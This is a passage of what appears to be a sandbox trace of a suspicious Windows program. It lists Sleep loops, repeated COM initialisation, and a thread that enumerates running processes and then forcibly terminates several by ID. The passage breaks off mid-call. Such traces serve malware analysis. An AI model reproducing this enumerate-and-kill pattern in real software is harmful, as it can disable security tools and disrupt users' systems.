(dwMilliseconds=0x3e8) [0192.875] Sleep (dwMilliseconds=0x3e8) [0193.877] Sleep (dwMilliseconds=0x3e8) [0194.900] Sleep (dwMilliseconds=0x3e8) [0195.905] Sleep (dwMilliseconds=0x3e8) [0196.919] Sleep (dwMilliseconds=0x3e8) [0197.934] Sleep (dwMilliseconds=0x3e8) [0199.182] Sleep (dwMilliseconds=0x3e8) [0201.213] Sleep (dwMilliseconds=0x3e8) [0203.079] Sleep (dwMilliseconds=0x3e8) [0204.252] Sleep (dwMilliseconds=0x3e8) [0205.703] Sleep (dwMilliseconds=0x3e8) [0209.342] Sleep (dwMilliseconds=0x3e8) [0211.126] Sleep (dwMilliseconds=0x3e8) [0212.712] Sleep (dwMilliseconds=0x3e8) [0214.021] Sleep (dwMilliseconds=0x3e8) [0215.030] Sleep (dwMilliseconds=0x3e8) [0216.609] Sleep (dwMilliseconds=0x3e8) [0218.215] Sleep (dwMilliseconds=0x3e8) [0219.986] Sleep (dwMilliseconds=0x3e8) [0220.990] Sleep (dwMilliseconds=0x3e8) [0222.782] Sleep (dwMilliseconds=0x3e8) [0224.077] Sleep (dwMilliseconds=0x3e8) [0227.237] Sleep (dwMilliseconds=0x3e8) [0229.654] Sleep (dwMilliseconds=0x3e8) [0230.984] Sleep (dwMilliseconds=0x3e8) [0232.368] Sleep (dwMilliseconds=0x3e8) [0234.304] Sleep (dwMilliseconds=0x3e8) [0238.048] Sleep (dwMilliseconds=0x3e8) [0239.054] Sleep (dwMilliseconds=0x3e8) [0240.098] Sleep (dwMilliseconds=0x3e8) [0241.131] Sleep (dwMilliseconds=0x3e8) [0243.959] Sleep (dwMilliseconds=0x3e8) Thread: id = 12 os_tid = 0x824 Thread: id = 13 os_tid = 0x834 Thread: id = 14 os_tid = 0x5f4 Thread: id = 81 os_tid = 0xadc [0085.245] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0085.245] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0085.246] CoUninitialize () [0085.246] Sleep (dwMilliseconds=0xea60) [0095.303] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0095.303] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0095.304] CoUninitialize () [0095.304] Sleep (dwMilliseconds=0xea60) [0106.018] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0106.018] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0106.020] CoUninitialize () [0106.020] Sleep (dwMilliseconds=0xea60) [0116.079] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0116.080] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0116.080] CoUninitialize () [0116.080] Sleep (dwMilliseconds=0xea60) [0126.320] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0126.320] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0126.321] CoUninitialize () [0126.321] Sleep (dwMilliseconds=0xea60) [0136.436] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0136.436] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0136.440] CoUninitialize () [0136.440] Sleep (dwMilliseconds=0xea60) [0146.510] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0146.510] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0146.511] CoUninitialize () [0146.511] Sleep (dwMilliseconds=0xea60) [0156.670] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0156.670] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0156.671] CoUninitialize () [0156.672] Sleep (dwMilliseconds=0xea60) [0166.725] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0166.725] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0166.725] CoUninitialize () [0172.826] Sleep (dwMilliseconds=0xea60) [0182.993] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0182.993] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0187.292] CoUninitialize () [0187.292] Sleep (dwMilliseconds=0xea60) [0197.293] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0197.294] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0197.294] CoUninitialize () [0197.294] Sleep (dwMilliseconds=0xea60) [0207.852] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0207.852] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0207.853] CoUninitialize () [0207.853] Sleep (dwMilliseconds=0xea60) [0219.542] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0219.542] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0219.542] CoUninitialize () [0219.542] Sleep (dwMilliseconds=0xea60) [0229.562] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0229.562] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0229.562] CoUninitialize () [0229.563] Sleep (dwMilliseconds=0xea60) [0239.777] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0239.777] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x80010119 [0239.778] CoUninitialize () [0239.778] Sleep (dwMilliseconds=0xea60) Thread: id = 82 os_tid = 0x3a4 [0085.246] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1024) returned 0x1b82e450 [0085.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b82e450, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x1b82e450, ResultLength=0x0) returned 0xc0000004 [0085.247] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b82e450, Size=0x2048) returned 0x1b834560 [0085.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.247] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x306c) returned 0x1b834560 [0085.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.247] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x4090) returned 0x1b834560 [0085.247] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.248] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x50b4) returned 0x1b834560 [0085.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.248] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x60d8) returned 0x1b834560 [0085.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.248] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x70fc) returned 0x1b834560 [0085.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.248] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x8120) returned 0x1b83b670 [0085.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b83b670, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x1b83b670, ResultLength=0x0) returned 0xc0000004 [0085.249] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b83b670, Size=0x9144) returned 0x1b83b670 [0085.249] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b83b670, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x1b83b670, ResultLength=0x0) returned 0xc0000004 [0085.250] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b83b670, Size=0xa168) returned 0x1b8447d0 [0085.250] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8447d0, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x1b8447d0, ResultLength=0x0) returned 0xc0000004 [0085.251] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b8447d0, Size=0xb18c) returned 0x1b8447d0 [0085.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b8447d0, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x1b8447d0, ResultLength=0x0) returned 0xc0000004 [0085.251] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b8447d0, Size=0xc1b0) returned 0x1b834560 [0085.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.251] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xd1d4) returned 0x1b834560 [0085.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.251] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xe1f8) returned 0x1b834560 [0085.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.251] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0xf21c) returned 0x1b834560 [0085.251] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.252] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x10240) returned 0x1b834560 [0085.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.252] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x11264) returned 0x1b834560 [0085.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.252] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x12288) returned 0x1b834560 [0085.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0xc0000004 [0085.252] RtlReAllocateHeap (Heap=0xa0000, Flags=0x8, Ptr=0x1b834560, Size=0x132ac) returned 0x1b834560 [0085.252] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1b834560, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x1b834560, ResultLength=0x0) returned 0x0 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2) returned 0x1b7d3400 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d3400) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.253] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.253] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.254] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.255] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.255] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x67c, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.255] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.255] NtClose (Handle=0x434) returned 0x0 [0085.255] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a120 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x17a750 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82a120 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7c80 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x17a750 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x17a750) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2c) returned 0x1b7d7c80 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x1b82a120 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b82a120 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a120 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.259] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.259] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1cd5fd80*(UniqueProcess=0x6a8, UniqueThread=0x0) | out: ProcessHandle=0x1cd5fde8*=0x434) returned 0x0 [0085.259] NtTerminateProcess (ProcessHandle=0x434, ExitStatus=0x0) returned 0x0 [0085.259] NtClose (Handle=0x434) returned 0x0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a120 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b82a120 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d7c80 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7c80) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1a) returned 0x1b82a120 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0085.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82cfe0) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x1b82a120 [0085.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a120) returned 1 [0085.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0085.261] NtOpenProcess (in: ProcessHandle=0x1cd5fde8, DesiredAccess=0x1, ObjectAttributes=0x1cd5fd90*(Length=0x30, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, 